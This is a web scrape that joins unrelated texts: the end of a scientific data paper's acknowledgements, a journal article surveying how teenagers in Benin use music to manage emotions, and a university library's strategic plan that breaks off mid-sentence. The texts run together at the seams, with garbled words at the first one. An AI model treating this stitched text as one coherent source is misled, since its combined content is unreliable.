EBRAINS Knowledge Graph. This work was funded by the European Union’s Horizon 2020 Framework Programme for Research and Innovation Programme under the Specific Grant Agreement No. 785907 (Human Brain Project SGA2), Specific Grant Agreement No. 945539 (Human Brain Project SGA3), and The Research Council of Norway under Grant Agreement No. 269774 (INCF Norwegian Node). The funders had no role in study design, data collection and analysis, decision to publish, or preparation of the manuscript. Ethics declarationsjerke, I.E., Puchades, M.A., Bjaalie, J.G. et al. Database of literature derived cellular measurements from the murine basal ganglia. Sci Data 7, 211 (2020). Received: Accepted: Published: DOI:

GET THE APP Fiossi-Kpadonou E1,2, Sessou DV1, Kpadonou GT1,3* and Agossou T4 1Faculty of Health Sciences (FSS), University of Abomey-Calavi, Benin 2Mother-Child-Adolescent mental healthcare service (SMEA) of the Mother and Child University Hospital Center, Lagune (CHU- MEL) Cotonou, Benin 3Physical and Rehabilitation medicine Service, CNHU-HKM, Cotonou, Benin 4Pedopsychiatrist, Teacher Emeritus, Cotonou, Benin Received Date: October 21, 2016; Accepted Date: November 23, 2016; Published Date: November 30, 2016 Citation: Fiossi-Kpadonou E, Sessou DV, Kpadonou GT, Agossou T (2016) Music and Emotions of Teenagers in Benin. J Child Adolesc Behav 4:323. doi: 10.4172/2375-4494.1000323 Copyright: © 2016 Music is an essential communication channel with each age group and each period with its type and style of music. Objective: To analyze emotions associated with the influence of music on teenagers in order to ameliorate their mental healthcare using this channel. Method: it was a prospective cross-sectional study with a descriptive and analytical scope which involved 269 teenagers of secondary and university schools and professional training centers in southern Benin. The sampling was based on a self-questionnaire administered within two months (May and June) 2011. Data were processed and analyzed using SPSS. The threshold of significance was fixed at 5%. Results: 49.4% of the respondents listened to music several times a day, either individually (27.5%); in groups (4.8%); or both (67.7%). Listening sounded a positive emotional note (49.2%) and a negative emotional note in times of anxiety, anger, sadness, hopelessness and loneliness (46.4%). Music procured "pleasure or joyous moments", gave "a sensation of wellbeing, relief and relaxation", stimulated a sense of "motivation", "inspiration", and enabled "distraction and liberation"; it "gave life". Traditional music enabled re-inspiration. Zouk was said to be good for sexual arousal, religious music and slows help to dispel sadness, stress and anxiety. The brands that are mostly listened to in groups included "coupé-décalé", rap, hip-hop, reggae, R and B, techno, salsa, jazz, rumba and raga. Lullabies are hummed during moments of hopelessness, lack of affection, sadness, anger and anxiety. Personal experiences of listening to music are influenced by sex (p=0.004). Conclusion: music was a privileged language for teenagers as they waded through this tumultuous period of their lives, a period full of emotions that were difficult to express and to manage. It is an efficient tool that requires consideration as far as care is concerned. Music; Emotion; Mental health; Teenager Music refers to the art of blending sounds in such a manner that it is pleasing to listen to; it is an “organized sound” [1]. Bloom wrote that “we are in the era of music and the state of mind which accompanies it”. Youths and teenagers in the age group of 10-20 years are attracted to music which constitutes to them a passion, a primordial object of enthusiasm and their reason for existence at the moment [2]. Each era and each age group have their preferences in terms of types and brands of music. The objective of this study is to analyze the effect of music or song on the emotions of teenagers in Benin in order to ameliorate their mental healthcare using this channel. The study was prospective, cross-sectional with a descriptive and analytical scope. It lasted for two months (May-June 2011) and was carried out in two secondary schools (one public, one private), two faculties, two university institutes and ten vocational training centers, all found in Cotonou and Abomey-Calavi, two towns situated in the South of Benin. The vocational training centers (informal training) concerned the following trades: hairdressing, dressmaking, electronics, installation/maintenance and general repairs, electrical wiring, refrigeration, mechanics and fitting. The sampling procedure was chosen to be of convenience to the respondents. All adolescents and young adults available who met the inclusion criteria were considered: aged 10-18 years, trained and present at the time of the survey, having freely given their consent. We received authorization from the departmental direction of primary and secondary education before the survey. Those who are in informal skills training or at university have received a consent form that they have read, approved and signed prior to administering the questionnaire. Data collection instrument was a self-administered questionnaire with questions on: - The social situation of the respondents (age, sex, ethnicity, nationality, level of education, city, nationality, level of education), - Music preferences (sort, genre/type), - Music consumption characteristics (frequency of listening, preferences of listening conditions, listening time, listening channel, music themes listened and link of each theme with the mood of the moment), - The favorite singers or stars and the descriptive elements to which the choice relates (look history, music, and choreography), - The role and function of each type of music - Results found after listening, Explanations are provided on each question before the questionnaire is submitted. We had initially 290 teenagers who freely accepted to respond to the self-administered questionnaire; 21 poorly answered questionnaires were rejected, thus limiting the study to the remaining, correctly answered 269 questionnaires. For data processing and analysis, the SPSS software was used. The threshold of significance retained was α=5%. As ethical dispositions, the respect for human dignity and family intimacy were strictly adhered to, and anonymity was strict throughout the study. All the respondents had earlier given their consent, verbally. There was no conflict of interest concerning this research work. Socio-demographic characteristics Out of the 269 teenagers considered in the study, 149 were male (55.4%) while 120 were female (44.6%) giving a M/F sex ratio of 1.2; 36 (13.4%) were under 15 years (Table 1). Table 1: Socio-demographic characteristics of the teenagers. Interest declared for listening to music or interpreting a soundtrack The findings revealed on 69% a positive impact for listening to music (Table 2) Music procures “pleasure or joyous moments”, gives “a sensation of wellbeing, relief and relaxation”, stimulates a sense of “motivation”, gives “inspiration” and enables “distraction and liberation”; it “gives life”. In 23.4% of the considered cases, no specific interest of humming or singing was manifested. 5.9% of the respondents did not at all feel any urge to hum or sing the songs listened to. Table 2: Conditions of listening music. The interest to hum or sing, without being a professional singer, is multifaceted. One has “the impression of being in the shoes of the artist, hence experiencing the latter’s emotions”; “one feels a certain wellbeing, appeasement, satisfaction”; “one feels alive”; 61.7% of the respondents do experience a common feeling of joy when listening to music in a group. 253 respondents (94.1%) said that they hum along as they listen to music. Amongst them, 208 (77.3%) gave a justification for this behavior: “we are moved to do so because music touches our emotions, our feelings, our hopes and our spirits at the same time”. Music listening parameters Frequency and duration of listening: We had 65.5% of the respondents who listen to music at least once a day. It was noted that 49.4% listened to music several times within the day. The average listening duration varies: especially for teenagers in the formal sector: ≤ 01 hour (68%) and ≤30 minutes (35.5%); and 1 to 2 hours for those in the informal sector (chi-square=13.014; df=4; p=0.011). Music listening channels: Several channels through which teenagers listen to music were identified, including mobile phones. Others were: mobile players (73.2%), audio and video CD players (52.4%), television (48%), concerts (20.8%) and internet (16%). Types and options for listening to music either individually or in groups The study revealed that 27.5% of the respondents listen to music individually, 4.8% almost always in groups while 67.7% listen both individually and in groups. They mostly listened to certain types of music when by themselves, especially religious music (17% of the music listened to by individuals), and slows (42.6%). They also listened to slows and zouk in pairs (23.4% and 51.1% respectively). 13.8% of the respondents listened to traditional music from their countries of origin. Percussion music listened to in groups mainly consisted of authentic rhythms from the country of origin and/or the sub-region or elsewhere. Such include “coupé-décalé”, rap, hip-hop, reggae, R and B, techno, salsa, jazz, rumba and raga. Feelings and sensations found or sought for, moments and parameters influencing the choice of music Twelve of the respondents (4.1%) showed a feeling of indifference upon listening to certain songs and rhythms. 32.7% listened repeatedly each time they found a song whose rhythm was interesting to them or one whose wordings suited their current emotional state. Listening often had a particular emotional consonance: positive emotions (exaltation, rest) for 49.2%, negative emotions (anxiety, anger, sadness, hopelessness, loneliness). Traditional music enabled re-inspiration, “certain traditional songs carried a lot of meaning in terms of the philosophy of life, and one cannot but listen to such”. Zouk was said to be a suitable rhythm for sexual arousal. 13 boys, in a direct and firm manner, said they listen to it during intimate moments. Nine (9) girls who made the same affirmation did so in a rather indirect, discrete manner. Religious music and slows helped to dispel sadness, stress and anxiety. The choice depended on the melody and the message put across by the composer (28.6%), the artistic look of the singer (28.6%), the voice (18.2%), their appearance when on stage (11.9%), their popularity within the country, region or throughout the world (56.9%). Sometimes however, the decor played an important role in heightening the emotions and feelings experienced when listening to music. Decors used while listening to music, the place and type of music The respondents themselves sometimes created the environment within which they listened to music: 138 (51.4%) with all outlets (doors and windows) closed, 33.8 % with lights turned off. For girls, listening in a secluded an unlit area was of help in times of loneliness, anxiety and depression. Listening in the same circumstances for boys was a means of dealing with anger; it also helps them to reach a state of pleasure in a certain intimacy. Some of the places where the respondents listened to music were: their rooms (66.5%), elsewhere in the house (46.8%), at the workplace or training center (7.8%), out of the house and away from the workplace or training center (19.7%), at any place (29.7%). The 7.8% who mostly listened to music while at the training centers were made up of trainees of the informal sector (26.8%) and trainees of the formal sector (4.4%). (with chi-square=24.321; df=1; p=0.000). Teenagers claimed that listening to music in particular decors enabled them to better free their emotions, relax, lift up their spirits and release themselves in order to renew their strength, while 19.7% used the soothing sounds of music in order to go to sleep. In the case of positive emotions, 86.8% rested when they listened to music with lights off and/or behind closed doors, while 13.2% felt their spirits lifted. Place of lullabies and childhood ditties The study revealed 43.1% of the respondents who had memories of the lullabies and ditties which their parents and other guardians used during their early childhood. The mothers were the ones who had done the singing of such lullabies in 88.8% of the cases (Table 2). The correlation between the personal experience of listening to childhood lullabies and ditties and the sex of the respondent gave a degree of significance of p=0.048 (chi-square=22.480; df=13; p=0.048). Importance of music in the life of teenagers Positive echoes: A majority of the respondents (Table 2) sang along as they listened to music, since music plays on their emotions and on their spirits. As the music plays, they fit themselves in the shoes of the artist and get a feeling of importance even if it is only for a while. Listening frequency: All the respondents admitted listening to music (Table 2). This is in accordance with the results obtained by Donnat who found that 57% of teenagers and youths in France, aged between 15 and 19, listen to music daily on the radio while 74% use other channels, just like 65% in the 20-24 years age bracket [3]. These figures showed how music played a key role in the daily lives of teenagers throughout the world. Average duration of listening: The average duration of listening to music, each time they did so, for more than 2/3 of the teenagers considered in this study was less than or equal to one hour. This duration consecrated to each listening session can lead to an important cumulative daily listening time, especially if those concerned listen to music several times a day. Listening to music is thus an activity into which teenagers put a lot of time. We found a statistically significant difference between the average duration of listening for teenagers of the formal sector and those of the informal sector with p=0.011. Teenagers in the informal training centers often work in groups. Almost all the apprentices participate in the different tasks undertaken. Music thus becomes a useful element for creating a stimulating environment and/or accompanying them through such tasks. As long as the electrical energy supply allows for it, music is played for a long time almost on a daily basis. This suggests that music does not constitute a distraction from the execution of the major tasks; it instead creates an enabling environment and gives the proper background for welcoming customers and visitors. Within the confines of formal training centers on the contrary, teenagers cannot listen to music while at the same time, effectively following the lessons being delivered by their teachers. It can thus be understood that the listening time in this case is limited to free time, making it less than that for their counterparts in the informal sector. Listening channels: Portable devices were revealed by our studies as being the main music listening channel. Such devices were used by about ¾ of the respondents, unlike the case in France where other means are used by those who listen to music. About one out of every five persons in France (19%) listens to music using mobile devices (mobile players or mobile phones, 15% and 5% respectively); 43% of persons in the 15-34 years age bracket in France prefer mobile music players against 13% for those aged 35-59 years and 3% for those aged 60 and above [4]. These results show that teenagers and youths turn towards more practical and comfortable channels which can render the music handy to them. They seek for means by which they can freely access the music of their choice, get easy mobility and listen individually. Places of listening: We have 65.5% of the respondents in our study mostly listened to music in their rooms (Table 2). These figures are somewhat close to those of a similar study conducted in France where it was seen that 69% of teenagers aged 15-19 and 73% of young adults aged 20-24 years mostly listen to music at home. This difference can be understood from the fact that, above 18 years, few youths in France continue living in the family house. They are free to choose and play the music they like, whereas parental approval is not accorded for certain types of music preferred by teenagers, in Benin, who still live with the parents. It is still possible for families in Benin and even in Africa as a whole, to get the teenagers, or even youths, to respect certain prohibitions, be they implicit or explicit. Also, we still encounter households in which the extended family members exercise some authority over them. There are equally homes in which several occupants cohabit, what restricts personal freedoms. Under such conditions, it becomes difficult for teenagers to feel free with their choice of music, especially if it is a percussion (loud) rhythm. The adults in the families often prefer the percussion rhythms of their time to those of modern days. Worthy of note is the fact that the courtyards and surroundings of the various houses are the most important meeting places for teenagers, especially as there exists no winter-like period in Benin when the climate is too harsh to be outdoors. These encounters are often made possible by music which either leads to the formation or the sustenance of circles of friends. The observations drawn from these two studies suggest the presence of music in all the living spaces of teenagers, be it in the family milieu which is their place of nurture or out of the house, their rallying place. Options of listening to music individually or as a group: Listening to music has as much a prominent place in the personal life of individuals as in their life in various groups. For the teenagers, the group represents a new point of attachment; therein, they find friendship, solidarity and understanding [5]. In this framework, music appears like a centerpiece around which they build their bonds within the new circle. The musical links shared with the group becomes a means of affirming one’s identity and social integration, what gradually leads to the highlighting of one’s identity as an individual. As such, music is seen to be quite important for the teenager, occupies an important place in his daily life and is present in all the key areas of his growth and becoming autonomous. It enables him to affirm his place in the group and thus, construct a social identity which in turn helps him to realize his personal identity [6]. Musical choices of teenagers as a means of emotional expression The results of our study do not enable us to establish a clear link between the emotional state and choice of music. Globally, we noticed that slows were most listened to in times of negative emotions, while the choices varied in times of positive emotions. While resting, teenagers equally listen to slows, but when happy or excited, they mostly turn to rap. Tempo and mode are two characteristics of music which can either evoke sadness or joy. Tempo corresponds to the number of beats/min, while the major and minor modes correspond to subsets of modes used in a given musical segment [7]. Joy is accompanied by a rapid Tempo and major mode, and sadness by a slow Tempo and a minor mode beginning from the age of 5 years [8]. Slows have a slow Tempo while rap has a fast Tempo. Music with a slow Tempo is often chosen when teenagers experience negative emotions and or when they wish to rest, while rapid Tempo music is chosen when they wish to express joyful feelings. Despite this observation, we cannot claim that in circumstances of a negative emotional load, teenagers necessarily listen to music which carries a sad note, nor that in circumstances of a positive emotional load, they listen exclusively to music which carries a joyful note, because Tempo alone does not suffice to give a sad or joyous connotation to music [9]. However, our study enables us to affirm that listening to slow Tempo music could be indicative of a negative emotional state or of the wish to take a rest, while listening to music of a fast Tempo could be indicative of a positive emotional state. Two factors help to shed light on how slow Tempo music like Slows can be able to induce emotions with positive valence on teenagers: musical taste and the role of projection. The feelings generated in response to the emotion induced by music could very easily be confused with those related to an aesthetic appreciation of the music. The aesthetic quality of a musical piece could thus have an effect on the feelings of teenagers, independently of the emotions the piece itself carries along. On the role of projection, the teenagers attribute their own emotions to the music which they choose to listen to. All the emotions that are difficult to contain are thus transferred to music. From thence, it is no longer the music itself which is the source of emotions of a positive valence, but the ability to project, and the content of the projection. By relieving the teenager of some kind of load, the projection becomes a starting point for his wellbeing. Each culture has its music, which most of the time is linked to acts of adoration, invocation and procession [10]. Popular traditional music often draws its inspiration from the realities of life and the personal experiences of the composer; it is at the same time a reservoir and an outlet for the composer and the committed listener. Music and self-psychotherapy for teenagers The reasons advanced by teenagers to justify their choice to listen to music are directed mainly towards a search for physical, psychic or social wellbeing. They listen to music under circumstances which carry either a positive or a negative emotional load. Through it, they are able to calm down their anxiety, sadness, stress, loneliness, anger and boredom; by escaping, albeit temporarily, from the suffering due to certain emotional states. With its extraordinary capacity to raise powerful emotions, music becomes an instrument for the desire to “feel good”. It has an enormous capacity of influencing and manipulating both feelings and the brain [11]. Music with a sad rhythm or a piece whose wordings recount sad and negative events becomes that which confers resentment or negative feelings. Upon listening to music in particular decors, teenagers aim at creating the appropriate environment for their particular state (rest, spending some time by oneself, discomfort). At some difficult moments, they attempt to escape by making use of the decor. We could think that by shutting the doors and/or putting off the lights, our respondents obtain greater isolation. However, this environment becomes like a closed space which music then fills, the concerned person is thus completely submerged therein and feels nothing other than music. Levitin intimated that active music has the power of bringing back memories; with the circumvolution of the temporal lobe of the brain being the center of musical memory, of souvenirs of musical experiences and their context [12]. Such souvenirs can also become a refuge or an element of liberation for the teenager. In his décor (closed doors and/or lights off) he makes sure that no other reality retains his attention apart from that which he has chosen to live at that moment. Consciously or unconsciously, the volume of the music may thus be raised in order to enhance the effect. More than boys, girls encountered during our study listen to music behind closed doors and with lights off when they feel lonely, anxious or depressed. Unlike the girls, the boys mostly do so in moments of anger, of intimacy or of pleasure. So doing, do the boys not then hide their moments of weakness, which the girls could easily notice? The African school of life does not allow men to be weak, talk less of showing it. African male teenager, even if he idealizes the adult he hopes to be, does not have the courage to act or behave in a manner which attracts the contempt of the society (showing signs of weakness for example). He would be seriously reproached for behaving like a woman, which constitutes an insult an insult to his masculine force, even to his manhood. This force which is attributed to the man and which he is expected to display, is a society dogma, from which teenagers cannot escape. We think that, more than what we can see, by closing up the doors and turning off the lights, the boy hides to reveal his weaknesses such that music can help to regenerate him. We went away with the impression that the boys who in the course of our study, affirmed that they listened to music in their intimate moments somehow challenged us to deny them that right. They have a sexual life and want to show that they assume it. The girls on their part were much more modest. But beyond these considerations pertaining mainly to sex and adolescence, the excitation capacity of music needs to be underlined here. As already indicated by Levitin and McGill, music has the capacity to unite a couple in tender and passionate moments [13]. In summary, the search for wellbeing through music is fruitful most of the time. Elsewhere, for certain teenagers, there are certain kinds of music which procure negative feelings for them either during, or after listening. However, we did not register any cases in which all kinds of music procured negative feelings when listened to. We can thus conclude that teenagers deliberately use music either to maintain their wellbeing or to regain it when facing situations which generate or convey suffering. Traditional music traditionally inspired modern music or typically modern music itself constitutes a way of expression for those things which cannot be voiced out using spoken language. The positive effects of music on health, immunity and cognition have been demonstrated [14] and observed in persons suffering from chronic pathologies. Feelings that are somewhat difficult to voice out, like loneliness, nostalgia and the fear of the unknown, are better expressed through music, leaving aside words. Ready stressed that “music has the intrinsic capacity to construct and contain emotions” [14]. Listening to any music which procures pleasure has a positive effect on cognition. The use of music to improve on memory has been explored by other authors: musical recitation improves information coding by activating networks of neurons in the most unanimous and thus, the most optimal manner [15]. It thus has therapeutic aims. Childhood, singing, adolescence and the person Adolescence is an “integrative and maturing step with an evolutionary and reorganizational aim, resulting in an affective and structural modification”. Adolescence is not a crisis, but rather an “odyssey going through emotional storms, whirlwinds of passion, outbursts of identification hurricanes and narcissistic breakers” [16]. An opening for appeasement in this odyssey and an outlet from the storms resides in music which is listened to, played or produced. Music enables broad communication; it calls out to everybody and rallies in an extraordinary way, children, teenagers, young adults and persons in the 3rd and 4th age groups around their experiences, feelings and expectations. Music gives to teenagers, the joy of being part of groups where they have a sense of belonging, feel recognized, exchange with and support one another. Several behavioral characteristics in listening to music are closely linked to affection. Less than half of the respondents (Table 2) remembered childhood songs (lullabies and ditties). The deep wordings and tonal height of lullabies send a reassuring message to the baby. He is entirely conscious of this mutual complicity which connects him to the mother and enables him to be confident [17]. “It is not the musical arrangements themselves which invoke emotions; instead, it is the connotations attached to them by the listeners” [11]. At 3 years of age, the child can feel the joy from a musical piece elaborated within its culture and around 6 years, it can identify sadness, fear and anger. At 5 years, the child uses the lively or slow character of the Tempo to implant his emotional judgments in the distinction of joyful and sad musical extracts and at 6 years, the child, like an adult, uses at the same time the Tempo and mode (majorhappy, minor-sad) to attribute an emotional value to a musical extract [8]. There is thus at the same time a constancy and a precocity as concerns emotional recognition in music by humans. Music plays social roles in the life of the individual; the context (geopolitical, historical, socio-cultural, economic and spiritual) very much influences the emotional reactions. The teenager who is afraid of confronting the external world alone can for example, find cover through, or in music. Music is a unifying factor [18]; due to its communicative ability, it has the capacity to create an emotional link between those who listen to or improvise it together [19]. When teenagers accompany the music with their voices, they trigger an outlet for their feelings. As such, a chain of solidarity, emotional life and identification is created and maintained by means of music, and enables individual identity. Thanks to music, teenagers can affirm their belonging to a peer group and thus, adhere to a value system, to behavioral norms and to a philosophy. The group confers a status on them; they feel a sense of belonging and in that space, can share their anxieties and their passions. It is a frame for their emancipation moves and a learning place for social skills. Music raises and/or maintains an emotional state which brings good feelings. The musical choices made by teenagers are thus not neutral. In choosing to listen to a particular musical piece, they do not only opt for a sense of wellbeing, they also open up a bit on their emotional state and their actual needs. Music thus constitutes a means of expression, communication, exploration, modification and/or reorganization of the emotional state. Better than spoken language, music voices out sentiments, emotions, experiences and feelings; it expresses the state of the mind. It is a privileged language for teenagers as they wade through this tumultuous period of their lives, a period full of emotions that are difficult for them to express and manage. Music can thus be a means of better understanding teenagers, but also of helping them. From an analysis of the parameters influencing the musical choices of teenagers, we can better listen to them and offer them a better therapeutic strategy in pedopsychiatric practice. Make the best use of Scientific Research and information from our 700 + peer reviewed, Open Access Journals

SU Libraries 2020-2023 Strategic Plan Introduction and Overview The staff of the Salisbury University (SU) Libraries created a new mission, vision, values, and strategic plan for the Libraries at all-staff meetings in August 2019 and January 2020 and several department heads meetings in 2019-2020. This plan supports Salisbury University’s 2020-2025 strategic plan and is organized according to the goals and objectives of the university-wide plan (read the full SU plan). Carrying out this plan depends in part on staffing and resource availability. It includes all parts of the SU Libraries, including the Dr. Ernie Bond Curriculum Resource Center (CRC) and the Edward H. Nabb Research Center for Delmarva History and Culture (Nabb) as well as the main library in the Guerrieri Academic Commons (GAC). Mission The Salisbury University Libraries cultivate and sustain a superior learning community by providing user-centered services and information resources in an engaging and inclusive environment dedicated to the free exchange of ideas and excellence in learning, teaching, scholarship, creativity, and service. Vision The SU Libraries: scholarship and lifelong inquiry for a just society. Values - Intellectual inquiry - Equity - Service - Respect and empowerment - Creative adaptability - Collaboration Goal 1: Enrich Academic Success and Student Development Objective 1.1 Continue to support and develop our wide range of exceptional and challenging academic programs and experiences. - Annually: Adjust liaison assignments and duties as appropriate to support expanded programs. (Dean) - Annually: Continue to support programs through acquisitions, regularly reviewing collection policies and needs. (Liaisons, Collection Development Coordinator) - Annually: Review and revise the MakerLab’s menu of services and hours to stay up-to-date and meet student and faculty needs. (Technology Librarian) - Ongoing: Continue to support courses by offering instruction and assistance with assignments through a variety of means. (Liaisons) - Ongoing: Continue to participate in the University System of Maryland and Affiliated Institutions (USMAI) Library Consortium. (Dean) - Ongoing: Continue regular surveys of Seidel students and faculty regarding the CRC and adjust CRC services accordingly. (CRC Coordinator) - Ongoing: Continue library involvement in school curriculum committees. (Liaisons) - Ongoing: Continue to provide library resource assessments as part of course and program proposals and request funds as needed. (Liaisons, Dean) - Ongoing: Continue to provide accreditation assessments/reports of library resources when requested. (Liaisons) - Ongoing: Communicate more effectively the available resources of the library for faculty to better manage the gap between faculty expectations and reality. (Liaisons) - Ongoing: Continue to bind SU theses and dissertations and add them to our collections. (CRC Coordinator, Head of Cataloging, Serials/E-Resources Librarian, Cataloging and Metadata Services Librarian, University Archivist) - Ongoing: Adapt how we support the Honors College as it grows. (Honors Liaison) - 2021: Assess the needs of transfer students and create a plan for meeting their needs. (Student Success & Engagement Coordinator, RIS Department Chair, Coordinator of Library Instruction) - 2022: Conduct a usability study of our distance learning program. (Director of External Library Services) - 2022: Assess the effectiveness of the support we offer to freshmen and adapt the support as needed. (Student Success & Engagement Coordinator, RIS Department Chair, Coordinator of Library Instruction) Objective 1.2 Develop a more robust program of student support services that fosters holistic student wellness, development, integrity, leadership, and resiliency. - Annually: Collaborate with CSA, TRiO, and the Writing Center on programming in our joint space, such as by adding signage at the Library Service Desk promoting their services or by giving away bookmarks promoting services. (Student Success & Engagement Coordinator) - Ongoing: Continue to offer Seidel graduate students Gull Card access to the CRC. (CRC Coordinator) - Ongoing: Continue offering end-of-semester relaxation activities to promote student well-being. (Student Success & Engagement Coordinator) - 2020: Consider lengthening loan period for graduate students. (Head of Circulation, User Services Team) - 2022: Consider offering document delivery services through ILL for graduate students, much like we offer faculty. (Head of Circulation) - 2023: Trial and (establish, if successful) a circulating medical device collection. (D&I Committee, Head of Circulation) Objective 1.3 Cultivate student participation in High-Impact Practices (HIPs) to support improvements in time-to-degree, retention, and graduation. - Annually: Continue Library Undergraduate Research Prize and Nabb Center prizes. (Dean, Nabb Director) - Annually: Continue the Library Prize purchase award for senior art students. (Art Prize Committee) - Ongoing: Continue to provide one-on-one research support to students. (Liaisons) - Ongoing: Continue to provide opportunities for research in original sources. (Nabb Staff) - Ongoing: Promote the MakerLab to students and faculty. (Technology Librarian) - Ongoing: Promote study-abroad opportunities, such as by creating rotating displays highlighting study abroad programs in different locations, profiling students studying abroad, and offering relevant materials/resources from our collection. (Center for International Education Liaison, Curator of Exhibits and Engagement) - 2021: Standardize internships in the Libraries and put information about them online. (Student Success and Engagement Coordinator) - 2023: Expand mentorship of student employees and opportunities for student employees to participate in library committees and events. (Executive Administrative Assistant, Head of Circulation) Objective 1.4 Provide enhanced support for faculty to foster teaching, research, scholarship, creative activity, service, and professional development. - Annually: Continue to seek outside training for SU Libraries staff. (Dean, Supervisors, D&I Committee) - Annually: Provide dedicated and protected time for library faculty to pursue research/scholarship. (Dean) - Annually: Continue Pub Night and look for additional ways to celebrate faculty scholarship. (Dean) - Ongoing: Continue Course Enhancement Grants and IL Partner of the Month program. (Dean) - Ongoing: Continue to support faculty by adding two copies of each of their publications, to the Faculty Collection housed in Nabb and to the general library stacks collection. (Acquisitions Coordinator) - Ongoing: Support faculty development in library-related areas (information and other literacies, use of primary sources, copyright, open access, use of technology such as 3D printing and Virtual Reality, etc.) through FLCs, workshops, tutorials, or other means. (Liaisons, Open Resources and Data Management Coordinator, Technology Librarian, Nabb Director) - Ongoing: Seek out and, where feasible, apply for grants to fund new services, programming, materials, and equipment. (Dean, Nabb Director, and everyone else) Objective 1.5 Affirm the relevance and value of General Education to career and life success for all majors. - Ongoing: Continue to partner with the English Department and the Honors College to offer instruction in ENGL 103 and HONR 111. (Coordinator of Library Instructions, Honors College Liaison, Liaisons) - 2021: Develop a library instruction curriculum map to show gaps in information literacy student learning experiences. (Coordinator of Library Instruction) - 2021: Work with UARA to analyze GullWeek and other Information Literacy assessments in order to develop action steps. (Coordinator of Library Instruction) Goal 2: Inspire a Campus Culture of Inclusive Excellence, Support and Collaboration Objective 2.1 Create and implement a holistic diversity and inclusive excellence plan through the establishment of an Office of Diversity & Inclusion. - Annually: Continue to spend at least 10% of book budgets on diversity and inclusion titles. (Liaisons) - Annually: At the end of each fiscal year, compile a list of all books purchased for SU Libraries that directly support diversity initiatives. (Acquisitions Specialist; Director of Collection Management) - Ongoing: Ensure that services and resources are accessible and inclusive. (D&I Committee, Department Heads, and everyone else) - Ongoing: Encourage collaborative exhibits that are student-driven. (Curator of Exhibits and Engagement, Student Success and Engagement Coordinator, D&I Committee) - Ongoing: Continue and expand events/displays/social media for observation months and days. (D&I Committee) - 2020: Provide training on accessibility, especially for online resources (i.e., videos, LibGuides, etc.). (D&I Committee) - 2020: Purchase, if possible, Archives Unbound current collections and the LGBTQ archive (Cengage Learning). (Dean, Head of Collection Management) - 2021 and ongoing: Contact vendors of online resources for accessibility information and make this available in a shared location. (Serials and E-Resources Librarian) - 2021: Collaborate with LGBTQIA+ Resource Center to offer Walk-in Closet - clothes sharing event for trans and gender non-conforming community; GAC can serve as clothing drop-off and help publicize. (D&I Committee) - 2021: Create diversity collection signage in stacks. (D&I Committee) - 2021 (for permanent signage and Ongoing for newly created items): Examine building signage and library communications/publications to ensure use of inclusive language. (D&I Committee, Communications Committee) - 2022: Work with the Office of Diversity & Inclusion on establishing a collection of training materials for D&I efforts in higher education. (D&I Committee) - 2023: Achieve 100% staff participation among staff who have been employed for at least one year in Safe Spaces training (including student employees). (D&I Committee, Supervisors) - 2023: Implement a D&I training program for all Libraries staff, new and continuing, that goes beyond only an initial orientation. (D&I Committee, Supervisors) Objective 2.2 Enhance our faculty and staff recruitment strategies (see Goal 3 for student recruitment) - Annually: Regularly review our onboarding procedures to keep them up to date. (Executive Administrative Assistant) - Ongoing: Have contingency plans in place to prepare for empty positions. (Dean, Department Heads) Objective 2.3 Review our professional development, recognition, benefits, and compensation programs to improve retention of faculty and staff. - Annually: Continue Summer of Learning and cross-training of staff. (Dean) - Ongoing: Encourage staff participation in USMAI groups and activities. (Dean and Department Heads) - 2022: Provide training in assessment to selected staff. (Dean) Objective 2.4 Create and promote the use of welcoming and inclusive campus spaces aligned with the Facilities Master Plan. - 2021 and ongoing: Improve service to patrons by providing more ways to check out books, possibly through a self-checkout station or similar technologies. (Dean, Technology Librarian, Head of Circulation) Goal 3: Support Access, Affordability and Academic Excellence Objective 3.1 Improve access and increase enrollment utilizing strategies developed in the Strategic Enrollment Plan. - Annually: Regularly review our distance learning services to ensure that we are fully supporting online students and those at regional centers. (Director of External Library Services) - Ongoing: Improve access to collections for distance students and faculty by negotiating licensing terms that guarantee wide access and rejecting resources that do not serve our distance programs. (Serials and E-Resources Librarian) - Ongoing: Continue to survey distance students and faculty on an as-needed basis. (Director of External Library Services) - 2020 and ongoing: Expand online archival collections and exhibitions to support online and satellite students and teaching. (Archivists, Curator of Exhibits and Engagement) - 2021 and biennially: Review MOUs with satellite location libraries. (Director of External Library Services) - 2021: Create a library prize targeted at distance students. (Director of External Library Services) - 2022: Provide kid-friendly spaces with containers to check out, offering age-appropriate items to keep them occupied while their parents study in the GAC and the CRC. (Head of Circulation, CRC Coordinator) - 2022: Develop partnerships with local school librarians to support their work and to help our teacher education students develop an understanding of what they can expect from their school libraries. (CRC Coordinator) Objective 3.2 Increase affordability to support the continued enrollment of a diverse student body. - 2021 and ongoing: Replace technology that Libraries circulate, such as laptops and iPads, on a regular schedule. (Dean, Technology Librarian) - Ongoing: Expand textbooks on reserve. (Dean, Reserves Coordinator, Acquisitions Specialist) - Ongoing: Educate faculty on Open Educational Resources (OERs) and open access and encourage faculty use. (Open Resources and Data Management Coordinator, Liaisons) - Ongoing: Activate Open Access (OA) journals in SFX and in the discovery layer knowledge base as publishers send notification of OA content. (Serials and E-Resources Librarian, Cataloging and Metadata Services Librarian) - Ongoing: Continue to participate in shared services and other cost-saving opportunities through the USMAI Library Consortium. (Dean) - 2020: Subscribe to EBSCO’s “Faculty Select” program. (Head of Collection Management) - Ongoing: Better manage and promote SOAR@SU, ensuring all metadata conforms to best practices and ingesting non-Archives materials. (Nabb Archivists, Cataloging and Metadata Services Librarian) - 2021: Establish a workflow for increasing accessibility to processed collections via local and remote systems, including through the discovery system. (Nabb Archivists, Cataloging and Metadata Services Librarian) - 2021: Develop a process to request Open Access (OA) records in the catalog, possibly using MaRS. (Technology Librarian, Cataloging and Metadata Services Librarian) Objective 3.3 Develop and articulate an identity that distinguishes SU as an outstanding public regional comprehensive University committed to academic excellence and student success. - Ongoing: Make the Libraries website more intuitive and user friendly, based on an analysis of website usage and possibly user-experience studies. (Website Committee) - Ongoing: Do a better job of showing the value of SU Libraries resources to the entire campus and community. (Dean) - Ongoing: Collaborate with SU’s public radio stations WSCL/WSDL to promote events. (Nabb Administrative Assistant, Communications Committee) - Ongoing: Meet with students, student liaisons, and/or student organizations to explore ways we might partner with or support them. (Student Success and Engagement Coordinator) - 2020 and ongoing: Create a public-facing, succinct visual representation (such as an infographic) of yearly SUL statistics and data. (Dean) - 2021: Seek marketing/promotion training from SU’s PR office or elsewhere. (Dean) - 2021: Develop a stronger social media presence, using ideas from the SWOT analysis and/or 